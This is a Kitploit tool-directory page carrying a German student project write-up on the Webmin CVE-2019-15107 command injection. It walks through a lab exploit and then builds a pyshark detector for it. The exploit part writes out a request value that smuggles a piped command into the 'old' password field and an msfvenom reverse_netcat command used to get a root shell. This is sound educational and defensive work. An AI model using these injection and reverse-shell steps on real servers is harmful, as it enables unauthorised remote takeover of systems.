Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
detect-CVE-2019-15107-by-pyshark — Schulprojekt | Kitploit
Tools/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
Paket-Sniffing & AnalyseSchwachstellenanalyseExploitationWebsicherheitNetzwerksicherheitEinbruchserkennungLernen & Bildung
GitHubgozn/detect-cve-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark

Schulprojekt

Repository anzeigen
12vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

detect-CVE-2019-15107-by-pyshark

I. Überblick über CVE-2019-15107 Webmin ist eine webbasierte Oberfläche zur Systemadministration für Unix. Mit jedem Webbrowser können Benutzerkonten, Apache, DNS, Dateifreigaben und mehr eingerichtet werden. Am 10. August 2019 veröffentlichte der türkische Cybersicherheitsforscher Özkan Mustafa Akkuş die Zero-Day-Schwachstelle auf der DefCon. Neben der Veröffentlichung der Schwachstelle veröffentlichte Akkuş auch ein Metasploit-Modul zur Automatisierung der Ausnutzung dieser Schwachstelle. Aufgrund einer Codeausführungsschwachstelle in der Funktion zum Zurücksetzen des Passworts in der Datei password_change.cgi ermöglicht diese Schwachstelle einem Dritten, bösartigen Code auszuführen, ohne dass eine Eingabeauthentifizierung erforderlich ist. II. Betroffene Versionen Diese Schwachstelle betrifft Webmin-Versionen von 1.882 bis 1.921. Um diese Schwachstelle zu verhindern, sollten Benutzer von Webmin auf die neueste Version 1.93 aktualisieren. III. Analyse der Schwachstelle In Webmin muss die Funktion „Benutzern erlauben, ihr Passwort zu ändern“ aktiviert sein, um diese Schwachstelle auszunutzen. Dies ist die einzige Bedingung, jedoch aktivieren viele Webmin-Administratoren diese Funktion. Sie ermöglicht es Benutzern, mit dem alten Passwort ein neues Passwort festzulegen. Im Quellcode der Webmin-Anwendung gibt es einige bemerkenswerte „.cgi“-Dateien. Eine davon ist password_change.cgi. image

Es gibt nur eine Anforderung, damit die Parameter in dieser Datei funktionieren: Der Wert „passwd_mode“ in der Konfigurationsdatei „miniserv.conf“ muss auf „2“ gesetzt sein.

image

An diesem Punkt werden wir „|“ verwenden, indem wir die Datei /etc/shadow während der Authentifizierung des alten Passworts lesen. Beispiel für einen normalen Passwortänderungsbefehl: image

Wenn wir einen einfachen Befehl wie „ifconfig“ in den Passwortänderungsbefehl einfügen, wie unten gezeigt, wird der Befehl „ipconfig“ ausgeführt und das Ergebnis angezeigt.

Tool herunterladen
image

IV. Implementierungsmodell

  • Ubuntu-Maschine (Opfer) mit installiertem Webmin Version 1.920 und IP-Adresse: 192.168.109.128 image

  • Kali-Maschine (Angreifer) mit IP-Adresse: 192.168.109.131 image

 

  • Da diese CVE auf der Funktion zum Zurücksetzen des Passworts basiert, wenn das alte Passwort von webmin abgelaufen ist, muss das Opfer webmin im Modus „Benutzer mit abgelaufenem Passwort zur Eingabe eines neuen auffordern“ installieren. image

V. Ausnutzung der CVE-Schwachstelle

  • Zunächst verwendet die Angreifermaschine Burp Suite, um die beim Passwortwechsel auf webmin gesendeten Requests von der URL: 192.168.109.128:10000/password_change.cgi (IP des Opfers) abzufangen. image

 

  • Dann sendet die Angreifermaschine diesen Request über den Repeater-Tab von Burp Suite, um den Fehler zu testen. image

  • Der Angreifer bearbeitet einige Informationen aus dem abgefangenen Request-Paket. Da für die Passwortänderung die HTTP-Methode POST sein muss, nicht GET wie ursprünglich. image

 

  • Dann sendet die Angreifermaschine einen Test-Request zur Passwortänderung vom alten Passwort an den Webmin-Server des Opfers: „user=test&pam=&old=test&new1=test2&new2=test2“ image

  • Beim Senden des Requests erhalten wir die Meldung, dass das alte Passwort nicht stimmt (The current password is incorrect). Der Kern liegt also im Parameter „old“.

  • Als Nächstes versuchen wir, einen einfachen Befehl wie ifconfig nach dem Parameter old einzufügen, sodass beim Überprüfen des alten Passworts durch den Server sofort der eingefügte Befehl ausgeführt wird. Zum Beispiel: „user=test&pam=&old=test|ifconfig&new1=test2&new2=test2“ image

  • Analog dazu ist das alte Passwort beim Überprüfen durch den Server immer noch falsch, aber nach der Überprüfung wurde der Befehl „ifconfig“ ausgeführt und angezeigt.

  • Um dann Root-Rechte zu erlangen, verwenden wir das Metasploit-Framework, um eine Payload zu erstellen und an den Webmin-Server des Opfers zu senden, um eine Shell-Sitzung zu erhalten. „msfvenom -p cmd/unix/reverse_netcat lhost= lport=“ image

  • Als Nächstes kopieren wir die Payload und fügen sie in den Request auf Burp Suite ein. image

 

  • Nach dem Senden des Requests mit der Payload an den Webmin-Server ist die Opfermaschine mit einer Reverse-Shell infiziert. Die Angreifermaschine erhält eine Shell-Sitzung zur Opfermaschine (IP: 192.168.109.128 Port 37218). image

  • Somit haben wir durch diese CVE-Schwachstelle Root-Rechte erlangt. image

  VI. Identifizierung der Signatur des Angriffs

  • Verwendung von Wireshark zum Abfangen von Paketen auf der Netzwerkebene. image

  • Da der Angreifer zur Ausnutzung dieser CVE auf den Pfad /password_change.cgi angewiesen ist, um Requests mit schädlichen Payloads über die HTTP-Methode POST zu senden, müssen wir die mit Wireshark abgefangenen HTTP-Pakete analysieren. image

  • Wir sehen, dass der Befehl „ifconfig“ während der Überprüfung des alten Passworts durch den Webmin-Server eingefügt wurde. image image

 

  • Daher identifizieren wir die Signatur dieser CVE als die Parameter, die während des Passwortänderungsprozesses über den Pfad /password_change.cgi übergeben werden: „user=test&pam=&old=test | <vom Angreifer auszuführender Befehl> &new1=test2&new2=test2“ VII. Entwicklung eines Erkennungstools für CVE-2019-15107

  • Wie oben analysiert, muss der Angreifer zur Ausnutzung dieser CVE einen Befehl in den Parameter old („altes Passwort“) einfügen, um den Angriff durchzuführen. image

  • Um zu erkennen, wer versucht, Befehle basierend auf dieser CVE-Schwachstelle einzuschleusen, müssen wir die von ihnen gesendeten HTTP-Pakete mit dem Tool „pyshark“ abfangen und analysieren. image

 

  • Die Daten im abgefangenen HTTP-Paket werden im Hex-Format zurückgegeben. Anhand der Parameter „old=“ und „|“ können wir feststellen, ob jemand versucht, diese CVE auszunutzen. Die Funktion checkPayload prüft, ob ein HTTP-Paket verdächtig ist. image

  • Anschließend, nachdem festgestellt wurde, welches HTTP-Paket verdächtig ist, gibt die Funktion getCommand die Befehle aus, die der Angreifer ausführt. image

  • Der Prozess des Abfangens und Analysierens von Paketen wird auch im .csv-Format protokolliert. image

VIII. Programmdemo

  • Wenn der Angreifer einen Angriff durchführt, warnt das Programm in Echtzeit. image

  • Beim Beenden des Programms wird eine .csv-Datei mit dem gesamten während der Laufzeit abgefangenen Traffic erstellt (HTTP-Payload im Hex-Format). image

  • Das Programm protokolliert auch die Gefahrenwarnungen. image

  IX. Schlussfolgerung Durch das Lernen und die Durchführung praktischer Übungen im Unterricht konnte ich einen Teil des Prozesses der Recherche und Analyse von Schadsoftware verstehen. Bei der Durchführung der Ausnutzung und der Entwicklung eines Programms zur Erkennung der Schwachstelle CVE-2019-15107 konnte ich das erworbene Wissen anwenden, um Schwachstellen anhand ihrer Signaturen zu analysieren und ein Erkennungsprogramm zu entwickeln, wodurch ich meine Fähigkeiten in der Analyse, Erkennung und Verarbeitung von Informationen sowie in der Netzwerksicherheitsüberwachung verbessern konnte.